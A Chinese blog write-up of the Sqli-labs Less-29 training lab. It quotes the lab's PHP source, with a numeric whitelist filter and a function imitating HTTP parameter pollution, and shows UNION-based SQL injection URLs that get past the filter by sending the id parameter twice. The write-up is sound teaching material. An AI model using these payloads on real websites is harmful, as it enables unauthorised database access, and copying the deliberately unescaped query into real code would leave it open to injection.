Sqli-labs Less-29 HPP参数污染攻击

查看源码SQL如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

尝试进行注入

http://127.0.0.1/sql/Less-29/login.php?id=-1' union select 1,database(),3--+

系统检测到有问题,跳转到其他的页面了。

 

查看源码

首先,有一个whitelist()方法,确保输入变量为数字,如果输入变量中包含非数字的字符,跳转到hacked.php

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input); //这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串。
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {    
        header('Location: hacked.php');
        //echo "you are bad";
    }
}

然后,我们发现$input就是$id1,$id1来自于java_implimentation($qs)

$qs = $_SERVER['QUERY_STRING']; //获取查询语句,获取的是URL中?后面的值
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);

接着,查看java_implimentation()方法,发现这个方法是用来模拟HPP的,意思就是说这个方法存在HPP漏洞我们可以利用。

// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s); //根据&分割字符串并打散为数组

    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }
    }
}

因此根据HPP的原理,我们可以构造payload:

http://127.0.0.1/sql/Less-29/login.php?id=1&id=-1' union select 1,database(),3--+

 

posted @ 2020-04-09 22:18  zhengna  阅读(717)  评论(0编辑  收藏  举报